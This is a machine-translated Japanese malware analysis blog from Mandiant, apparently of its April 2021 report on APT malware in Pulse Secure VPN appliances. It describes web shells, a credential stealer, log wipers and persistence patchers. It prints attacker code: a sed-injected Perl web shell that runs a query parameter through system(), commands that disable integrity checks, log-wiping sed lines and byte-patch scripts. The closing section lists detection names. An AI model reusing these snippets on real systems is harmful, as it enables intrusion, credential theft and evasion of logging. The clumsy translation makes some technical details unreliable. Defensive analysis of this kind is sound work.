SLOWPULSEファミリーへの調査の一環として、攻撃者が悪意のあるロジックを削除するために使用するユーティリティを、SLOWPULSE V4の元のlibdsplibs.soファイルに復元することができました。攻撃者は、libdsplibs.soに適用されたパッチを削除することを選択しました。SHA256:b2350954b9484ae4eac42b95fae6edf7a126169d0b93d79f49d36c5e6497062aのファイルは、SLOWPULSE V4のunpatcherユーティリティです。このサンプルは単純なbashスクリプトでもあり、完全には以下のようになります。

printf '\xE8' | dd conv=notrunc of=/home/lib/libdsplibs.so bs=1 count=1 seek=$((0x5C7B31))
printf '\xE2' | dd conv=notrunc of=/home/lib/libdsplibs.so bs=1 count=1 seek=$((0x5C7B32))
printf '\x08' | dd conv=notrunc of=/home/lib/libdsplibs.so bs=1 count=1 seek=$((0x5C7B33))
printf '\xD0' | dd conv=notrunc of=/home/lib/libdsplibs.so bs=1 count=1 seek=$((0x5C7B34))
printf '\xFF' | dd conv=notrunc of=/home/lib/libdsplibs.so bs=1 count=1 seek=$((0x5C7B35))

STEADYPULSE

licenseserverproto.cgiファイル (SHA256:168976797d5af7071df257e91fcc31ce1d6e59c72ca9e2f50c8b5b3177ad83cc) は、任意のコマンド実行を可能にするPulse Secureツールによって使用される正規Perlスクリプトの変更によって実装されるweb shellです。

攻撃者は、web shellを実施する2つのPerlコード・ブロックを挿入しました。ソース・コードの修正は、挿入されたコードの開始と終了を示すコメントで囲まれます。使用されるコメント文字列は、##cgistart1、##cgiend1、##cgistart2、および##cgiend2です。これらのコメント文字列の正確な用途は不明ですが、攻撃者はこれらを使用して、悪質なコードの更新を容易にしたり、必要に応じて迅速に削除したりすることができます。

  • タグ##cgistart1##cgiend1に囲まれたPerlスクリプトは、web shellで使用されるPerlモジュールをインポートするために、いくつかの行を追加します。また、受信したコマンド・データのパラメーターを解析するための関数も追加します。
  • タグ##cgistart2##cgiend2に囲まれたスクリプトは、web shellが実行するように設計されたウェブ・リクエストが存在する場合はそれをチェックします。web shell要求が見つからない場合、スクリプトはWebページの正規のPerlスクリプトに実行を渡します。

スクリプトのweb shell部分は、秘密キーに一致するserveridのフォーム・サブミッション name=valueペアを受け取ると呼び出されます。これにより、web shellはQUERY_STRING CGI環境変数を介して渡された文字列を抽出します。それぞれのキーおよび値のペアは、&文字で区切られ、URLデコードされます。スクリプトは受け取ったすべてのキーおよび値のペアを解析しますが、cmdパラメーターに関連付けられたデータを特に探して抽出します。見つかった場合は、実行する抽出されたcmdと以前のserverid値を含むフォームと、Runという名前のフォーム送信ボタンを生成します。送信時に、Web被害者は渡されたコマンドをビクティム・ホストのコマンド行で実行し、結果を攻撃者に表示してから終了します。cmd値が抽出されなかった場合、web shellは単に</pre>HTMLタグを出力します。

PULSECHECK

ファイルsecid_canceltoken.cgi(SHA256:a1dcdf62aafcd36ddd8cf64774dea80d79fb4e24ba2a82adf4d944d9186acd1cc1)は、任意のコマンド実行を可能にするPerlで記述されたweb shellです。適切にフォーマットされた要求では、スクリプトはweb shellコードを実行します。そうしないと、Pulse Secure VPNソフトウェアの正規ウェルカム・ページが呼び出されるでしょう。

スクリプトは、HTTP POST手法を使用してWeb要求をチェックし、見つかった場合は、CGI環境変数HTTP_X_KEYのHTTPリクエスト・ヘッダーをさらにチェックします。このヘッダーがバックドア・キーと一致する場合、マルウェアは変数HTTP_X_CMDで送信されたコマンドの結果を出力します。このデータはRC4で暗号化され、base64でエンコードされます。復号化するパスフレーズは、環境変数HTTP_X_CNTで送信されます。web shellはコンテンツ・タイプをContent-type:text/htmlに設定し、コマンド出力を出力します。これに続いて、スクリプトは終了します。

QUIETPULSE

dsserver(SHA256:9f6ac39707822d243445e30d27b8404466aa69c61119d530885bf4a464a9ebd)は、子プロセス/home/bin/dshelperをフォークするように悪意のある変更を加えた正規Perlスクリプトです。dshelperスクリプトは、クリーンなPulse Secure導入には存在しません。このファイルは、QUIETPULSE Utility Scriptとして記述されています。

QUIETPULSE Utility Script

ファイルdshelper(SHA256:c774eca633136de35c9d2cd339a3b5d29f00f761657ea2a438de4f33e4bbba4)は、ファイルのコピーとコマンドの実行を担当するユーティリティ・スクリプトとして主に機能する悪意のあるバージョンのdsserverによって呼び出されるシェル・スクリプトです。ATRIUMパッチャーと同様に、このスクリプトは/tmp/dataにアクセスします。このパスはシステムのアップグレード時に使用されます。したがって、このファイルはATRIUMパッチャーと同様に、攻撃者で持続性を維持するために使用されます。スクリプトは、4つのメインチェックが2分ごとに実行されるループで実行されるように設定されています。確認内容は以下の通りです。

チェック1

/tmp/data/root/home/webserver/htdocs/dana-na/auth/compcheckjava.cgiが存在し、空でない場合は、次のように実行します。

  • grep -c -s 'system($depara)' /tmp/data/root/home/webserver/htdocs/dana-na/auth/compcheckjava.cgi

ファイルに内容system($depara)があるかどうかをチェックします。ファイルにこの内容が含まれていない場合は、次のように実行してファイルの最初の行を取得します。

  • sed -n 1p /tmp/data/root/home/webserver/htdocs/dana-na/auth/compcheckjava.cgi

次に、経由でファイルをコピーします。

  • cp /home/webserver/htdocs/dana-na/auth/compcheckjava.cgi /tmp/data/root/home/webserver/htdocs/dana-na/auth/compcheckjava.cgi

次に、コピーの最初の行を上記のsedから取得したものに置き換えます。

  • sed -i 1c"<varies>" /tmp/data/root/home/webserver/htdocs/dana-na/auth/compcheckjava.cgi

チェック2

ディレクトリとして/tmp/data/root/home/bin/が存在する場合は、ファイル/tmp/data/root/home/bin/dshelperが存在しないかどうかを確認します。存在しない場合は、file viaをコピーしてそこに配置します。

  • cp -p /home/bin/dshelper /tmp/data/root/home/bin/

チェック3

/tmp/data/root/home/bin/dsserverが存在し、空でない場合は、次を実行して、ファイルに文字列exec("/home/bin/dshelper”) が含まれていないかどうかを確認します。

  • grep -c -s 'exec("/home/bin/dshelper")' /tmp/data/root/home/bin/dsserver

実行しない場合は行を挿入します。

  • sed -i 's/for (;;)/my $monpid = fork();\nif ($monpid == 0) {\nexec(\"\/home\/bin\/dshelper\");\n}\n&/g' /tmp/data/root/home/bin/dsserver

チェック4

ファイル/tmp/data/root/home/bin/check_integrity.shが存在し、空でない場合は、次のように実行して、ファイルに文字列exit1が含まれているかどうかを確認します。

  • grep -c -s 'exit 1' /tmp/data/root/home/bin/check_integrity.sh

ファイルにこの内容が含まれている場合は、以下を実行して内容を0に切り替えます。

  • sed -i 's/exit 1/exit 0/g' /tmp/data/root/home/bin/check_integrity.sh
PULSEJUMP

SHA256:7fa71a7f76ef63465cfeacf58217e0b6fc71bc81d37c44380a6f572b8a3ec7aのファイルは、システム情報および資格情報ハーベスティングPerlスクリプトです。サンプルは、複数のソースからの情報を追加モードでファイル/tmp/dsactiveuser.statementcountersに書き込みます。

サンプルは、API AuthAdmin::getAllAuthServersを介してすべてのauthサーバーを取得することから開始され、結果をログに記録します。次に、サンプルはAPI DSRole::GeneralAdmin::getRolesを介してすべてのロールをログに記録し、その値をファイルに書き込みます。また、サンプルは、デバイスの構成に応じて、追加情報を取得してログに記録することもできます。

HARDPULSE

ファイルcompcheckjava.cgi(SHA256:1d3ab04e21cfd40aa8d4300a359a09e3b520d39b1496be1e4bc91ae1f6730ecc)には、任意のファイルを読み書きする能力があり、特定のライブラリ関数の実装に応じて任意のコマンドを実行できます。

サンプルはHTTP GETとPUTに応答します。GETパスは関連性がありませんが、PUTパスは、受信リクエストのcheckcode POST paramがハードコードされたパスコードと等しいかどうかを最初にチェックします。このチェックに合格すると、サンプルはparam hashidを検査して、空でないかどうかを判断します。空でない場合、サンプルはハードウェア情報を含むプロンプトをユーザーに表示し、base64はparam hashidをデコードしてpulsesecureに対して確認します。これが一致する場合、recovery tokenが生成されます。これは16ランダム・バイトのMD5ハッシュで、結果のハッシュは8文字に切り捨てられます。その後、このトークンはURLhttps://ive-host/dana-na/auth/recover[.]cgi?token=<varies>を介してユーザーに表示され、サンプルは終了します。この確認が一致しなかった場合、サンプルはbase64でデコードされたデータをルーチンDSSafe::psystemに渡します。ルーチンDSSafe::psystemはシェル・コマンドを実行できますが、この実装は提供されておらず、あくまで推測です。

param hashidが空の場合、サンプルは代わりにparamが空でないことをチェックします。空でない場合は、getと照合され、ホストに任意のファイルを読み書きします。

ATRIUM

ファイルcompcheckresult.cgi(SHA256:f2b1bd703c3eb05541ff84ec375573cbdc70309ccb82aac04b72db205d718e90)は、任意のコマンド実行が可能なweb shellです。サンプルには、正当なロジックの最後に悪意のあるロジックが挿入されています。悪意のあるロジックは、任意のタイプのすべてのリクエストを検査し、HTTPクエリ・パラメーターidを探します。このクエリ・パラメーターが存在する場合、サンプルはsystem APIを使用してそれをそのまま実行します。サンプルは、コマンドをエンコードまたは難読化しません。クエリ・パラメーターが要求で見つからない場合、元の正当なロジックが呼び出されます。

Persistence Patcher

ファイルDSUpgrade.pm(SHA256:224b7c45cf6fe4547d3ea66a12c30f3cb4c601b0a80744154697094e73dbd450)は、システム・アップグレード全体でweb shellを保持するパッチャ-/ユーティリティ・スクリプトです。私たちは、複数のweb shellファミリー、特にATRIUM、STEADYPULSE、およびPULSECHECKの持続性を標的としたこのユーティリティ変異体を観察しました。以前のパッチャーと同様に、このサンプルではsedを使用して悪意のあるロジックを挿入します。攻撃者は、DSUpgade.pmを選択してパッチ・ロジックをホストし、システム・アップグレード手順でコア・ファイルであるため、パッチがアップデート中であることを確認しました。パッチは/tmp/data内の内容を変更します。このディレクトリには、新しくアップグレードされたシステムが起動する、抽出されたアップグレード・イメージが格納されます。これにより、持続的メカニズムが発生し、攻撃者はアップデート後もシステムヘのアクセスを維持できます。

my $cmd_x="sed -i '/echo_console \"Saving package\"/i(
    sed -i \\\'/main();\\\$/cif(CGI::param(\\\\\"id\\\\\")){
        print \\\\\"Cache-Control: no-cache\\\\\\\\n\\\\\";
        print \\\\\"Content-type: text/html\\\\\\\\n\\\\\\\\n\\\\\";
        my \\\\\$na=CGI::param(\\\\\"id\\\\\");
        system(\\\\\"\\\\\$na\\\");
    } else{
        &main();
    }\\\' /tmp/data/root$cgi_p;
    cp -f /home/perl/DSUpgrade.pm /tmp/data/root/home/perl;
    cp -f /pkg/dspkginstall /tmp/data/root/pkg/;
)'/pkg/do-install";

パッチャーは、圧縮されたパッケージをアンパックするための追加のシェル・コマンドも実行します。

system("/bin/mount -o remount,rw /dev/root /");
system("/bin/tar", "-xzf", "/tmp/new-pack.tgz", "-C", "/tmp","./installer");
system("cp -f /tmp/installer/do-install /pkg/");
system("cp -f /tmp/installer/VERSION /pkg/");
system("cp -f /tmp/installer/sysboot-shlib /pkg/");
system("cp -f /tmp/installer/losetup /pkg/");

PACEMAKER

ファイルmemread(SHA256:68743e17f393d1f85ee7dffacce91e081b5f6f43477111ac96a9d44826e4d2)は、資格情報窃取です。サンプルには使用状況情報があります。

Usage: memread [-t time(minute)] [-m size(MB)] [-s sleep_interval(second)]

サンプルは、設定可能な分数(デフォルトでは14)の後にアプリケーションを強制終了するアラームを設定することで開始されます。次に、ターゲット・アプリケーションを探すために2秒ごとに/proc/エントリーを読み込むループに入ります。この間隔も設定可能です。ターゲットは、フォルダ内の各エントリーに対して/proc/<process_name>/cmdlineを開き、コマンドライン内で文字列dswsdを検索することによって見つかります。ターゲット・アプリケーションのproc/<target_pid>/memがオープンされると、プロセスはPTRACEでアタッチされ、最大512バイトのサイズのチャンクでメモリが読み取られます。チャンクごとに、文字列2030200A00(0\n)が針として検索されます。サンプルが見つかると、データが最初のスペースで分割され、次にダッシュ-が表示されます。2つのダッシュが見つかると予測され、これらはすぐに16進数に変換されます(例:-<number>)。2番目の数字から1番目の数字を引いた値が>8191の場合、サンプルは最初の数字のファイル・オフセットから始まるデータを、2番目の数字から1番目の数字を引いた値まで読み込みます。

サンプルがプロセス・メモリを読み取り、関心のあるすべてのメモリ・データを見つけると、サンプルはPTRACEを切り離し、サンプルはコピーされたデータのメモリ・スキャンを開始します。サンプルは、攻撃者が盗みたい情報であると思われるものを見つけるために、メモリ内の「フラグ」の列を1つずつ見つけようとします。この情報は、知られておらず、その構造でもありません。スキャンされた列には、通常、スキャンされた順序で開始および終了のスキャン列があります。

USER_START_FLAG: 3C 05 08 75 73 65 72 4E 61 6D 65 05 01 3E 05 00
USER_END_FLAG: 3C 2F 05 08 75 73 65 72 4E 61 6D 65 05 01 3E 00
PASSWORD_START_FLAG: 3C 05 08 70 61 73 73 77 6F 72 64 05 01 3E 00
PASSWORD_END_FLAG: 3C 2F 05 08 70 61 73 73 77 6F 72 64 05 01 3E 00
AUTHNUM_START_FLAG: 3C 05 0A 61 75 74 68 4E 75 6D 62 65 72 05 01 3E 00
AUTHNUM_END_FLAG: 3C 2F 05 0A 61 75 74 68 4E 75 6D 62 65 72 05 01 3E 00

これらのシーケンスがすべて見つかると、開始と終了の間のデータが抽出され、最終的にフォーマットされて/tmp/dsserver-check.statementcountersファイルに書き込まれます。このデータの近似形式は次のとおりです。

Name:<username> || Pwd:<password> || AuthNum:<authnumber>\n

このサンプルでは、次のURLエンコード値をパスワードのascii表現に置き換えます。

&amp; ->  &
&lt;  ->  <
&gt;  ->  >

PACEMAKERランチャー・ユーティリティ

PACEMAKERへの調査の一環として、資格情報窃取の起動を担当するシンプルなbashスクリプトを取得することができました。ランチャー・スクリプト・ハッシュSHA2564c5555b2e6dc55f52b0c1a3326f3d07b325b112060329c503b294208960ecは、16MBのメモリ読み取りサイズと2秒のメモリ・スキャン間隔を指定するオプションを持つハードコーディングされたパスからPACEMAKERを起動します。セルフ・キル時間は可変です。

#!/bin/bash

/home/bin/memread -t $1 -m 16 -s 2 &

THINBLOODログ・ワイパー・ユーティリティ

SHA25688170125598a4fb801102ad56494a773895059ac8550a983fdd2ef429653f079のファイルdsclslogは、ログ・ワイパー・ユーティリティです。サンプルは、使用状況情報を提供します。

Usage: dsclslog -f [events|access] -r [Regex1,Regex2,Regex3,...]

-fフラグは、ファイルlog.events.vc0またはlog.access.vc0を指定します。ディレクトリ/home/runtime/logs内を変更する必要があります。ログのクリーニング操作を実行するために、サンプルは最初に選択されたログ・ファイルのコピーを2つ作成しますが、新しいファイルの拡張子として. vc1.vc2を使用します。.vc1を持つファイルは、指定されたエントリーに一致するエントリーの検索に使用され、. vc2を持つファイルが検索されます。extensionは、クリーンアップされたログが書き込まれる一時ファイルとして使用されます。ファイルとログ・クリーニングの両方の生成が終了すると、サンプルはsystem APIを介して次のコマンドを実行し、元のログをクリーンアップされたバージョンで上書きしてから、中間を削除します.

mv /home/runtime/logs/log.<logtype>.vc2
/home/runtime/logs/log.<logtype>.vc0
rm /home/runtime/logs/log.<logtype>.vc1

THINBLOOD LogWiper Utility Variant

clear_log.shファイル (SHA256:1741dc0a491fcc8d078220ac9628152668d3370b92a8eae258e34ba28c6473b9) は、特定の正規表現パターンに一致するログ行をゼロ化するBASHスクリプトです。このサンプルは、コンパイルされたTHINBLOOD Log Wiperに似ていますが、一時コピーを作成するのではなく、sedを使用してインプレースでログを編集します。使用されるsedコマンドは次のとおりです。

sed -i "s/.\x00[^\x00]*<regex_string>[^\x00]*\x09.\x00//g" /data/runtime/logs/<logfile>

sed -i "s/\x<hex_char>\x00[^\x00]*$2[^\x00]*\x09\x<hex_char>\x00//g" /data/runtime/logs/<logfile>

サンプルには、使用状況情報が埋め込まれます。

usage: /home/bin/bash clear_log.sh [logfile] [keyword(regex)]

LOCKPICK

ファイルlibcrypto.so(SHA256:2610d372e0e107053bc001d278ef71f08562e5610691f18b978123c499a74d8)は、opensslの暗号ロジックを含む共有オブジェクトです。このサンプルには、生成された乱数のセキュリティを破るルーチンbnrand_rangeへの変更が含まれています。このルーチンには、指定された範囲の間に大きな乱数を生成するための3つのパスがあります。最初のケースは変更されず、ゼロ化された大きな数値を生成します。その他の2つのケースはパッチされ、定数値が生成されたランダム値を上書きし、常に成功を返します。これは、乱数生成を攻撃者がすべての場合に認識している値に置き換えることで分割します。

LOCKPICKパッチャー

ハッシュb990f79ce80c24625c97810cb8f161eafdb10fb1b8d9d538df9be387c35e4を持つファイルは、LOCKPICKとして知られる悪意のあるロジックの挿入を担当するパッチャー・ユーティリティです。パッチャーは、アプライアンスに組み込まれている整合性チェッカー・スクリプトでsedを実行して、早期の出口ルーチンを挿入することから開始します。これは、コマンドsed-i'12aexit0'/home/bin/check_integrity.shによって挿入されます。これを適用すると、このスクリプトは意図したチェックを実行せずに終了します。この後、サンプルはpythonファイルのread/write APIを使用して、LOCKPICKと呼ばれるロジックを表す長いアセンブリ文字列を挿入します。このファイルは、pythonであり、特にシステム整合性ルーチンをターゲットとしているという点で識別した他のパッチャーとは異なります。

Detecting the Techniques

The following table contains specific FireEye product detection names for the malware families associated with the exploitation of Pulse Secure VPN device.

Platform(s) 

Detection Name 

Network Security 

Email Security 

Detection On Demand 

Malware File Scanning 

Malware File Storage Scanning 

 

FE_APT_Webshell_PL_HARDPULSE_1
FEC_APT_Webshell_PL_HARDPULSE_1
APT.Webshell.PL.HARDPULSE

FE_APT_Trojan_PL_PULSEJUMP_1
FEC_APT_Trojan_PL_PULSEJUMP_1
FE_Trojan_PL_Generic_1

FE_APT_Trojan_PL_RADIALPULSE_1
FEC_APT_Trojan_PL_RADIALPULSE_1
FE_APT_Trojan_PL_RADIALPULSE_2
FE_APT_Trojan_PL_RADIALPULSE_3
FEC_APT_Trojan_PL_RADIALPULSE_2
FE_APT_Trojan_PL_RADIALPULSE_4
FEC_APT_Trojan_PL_RADIALPULSE_3
FE_APT_Trojan_PL_RADIALPULSE_5
FE_APT_Tool_SH_RADIALPULSE_1
FEC_APT_Tool_SH_RADIALPULSE_1

FE_APT_Trojan_Linux32_PACEMAKER_1
FE_APT_Trojan_Linux_PACEMAKER_1

FE_APT_Backdoor_Linux32_SLOWPULSE_1
FE_APT_Backdoor_Linux32_SLOWPULSE_2 
FE_APT_Trojan_Linux32_SLOWPULSE_1 
FE_APT_Tool_Linux32_SLOWPULSE_1

FE_APT_Webshell_PL_STEADYPULSE_1 
FEC_APT_Webshell_PL_STEADYPULSE_1 
APT.Webshell.PL.STEADYPULSE

FE_APT_Trojan_Linux32_LOCKPICK_1

FE_Webshell_PL_ATRIUM_1 
FEC_Webshell_PL_ATRIUM_1
FE_Trojan_SH_ATRIUM_1

FE_APT_Webshell_PL_SLIGHTPULSE_1
FEC_APT_Webshell_PL_SLIGHTPULSE_1
APT.Webshell.PL.SLIGHTPULSE

FE_APT_Webshell_PL_PULSECHECK_1
FEC_APT_Webshell_PL_PULSECHECK_1

FE_APT_Tool_Linux32_THINBLOOD_1 
FE_APT_Tool_Linux_THINBLOOD_1      
FE_APT_Tool_SH_THINBLOOD_1 
FEC_APT_Tool_SH_THINBLOOD_1
APT.Tool.Linux.THINBLOOD.MVX

FE_APT_Trojan_PL_QUIETPULSE_1
FEC_APT_Trojan_PL_QUIETPULSE_1 
FE_Trojan_SH_Generic_2 
FEC_Trojan_SH_Generic_3

Suspicious Pulse Secure HTTP request (IPS)

Endpoint Security 

Real-Time (IOC)

  • SLOWPULSE (BACKDOOR)
  • PACEMAKER (LAUNCHER)
  • THINBLOOD (UTILITY)

Helix

VPN ANALYTICS [Abnormal Logon]
EXPLOIT - SONICWALL ES [CVE-2021-20021 Attempt] 
EXPLOIT - SONICWALL ES [CVE-2021-20021 Success]
EXPLOIT - SONICWALL ES [CVE-2021-20023 Attempt]
EXPLOIT - SONICWALL ES [CVE-2021-20023 Success]

謝辞

Mandiantは、解析および調査との連携について、Stroz Friedberg DFIRおよびSecurity Testingチームに感謝いたします。また、Joshua Villanueva、Regina Elwell、Jonathan Lepore、Dimiter Andonov、Josh Triplett、Jacob Thompson、Michael Dockryに対し、分析とブログ・コンテンツにおける尽力に感謝します。

 

本ブログは機械翻訳(MT)を使用して翻訳しています。原文と翻訳版の意味、文言が異なる場合は原文を有効とします。

原文:April 20, 2021 「Check Your Pulse: Suspected APT Actors Leverage Authentication Bypass Techniques and Pulse Secure Zero-Day